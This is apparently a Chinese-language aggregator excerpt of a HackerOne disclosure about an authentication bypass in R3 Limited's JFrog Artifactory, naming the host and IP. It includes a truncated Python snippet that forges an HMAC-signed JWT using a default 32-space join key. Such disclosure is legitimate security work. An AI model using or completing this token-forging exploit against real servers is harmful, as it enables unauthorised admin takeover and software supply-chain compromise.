Full Admin Takeover of R3 Limited's JFrog Artifactory - 292 Users, Corda Enterprise & CBDC Supply Chain Compromised
该报告还没有中文解读。
原文摘录
摘自原文（14144 字符中的一小部分）
R3 Limited's JFrog Artifactory instance at `software.r3.com` (IP: `108.132.150.250`) is vulnerable to **CVE-2026-82329** (CVSS 9.8) - an authentication bypass caused by a default empty join key. By forging an HMAC-signed JWT with the known default key (32 space characters), an unauthenticated …
原文中的代码
import hmac, hashlib, base64, json, time
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64url(json.dumps({
"service_id": "jfrt@01",
"node_id": "exploit-node", …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 R3 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @qw3rjo · 版权归作者与 R3 所有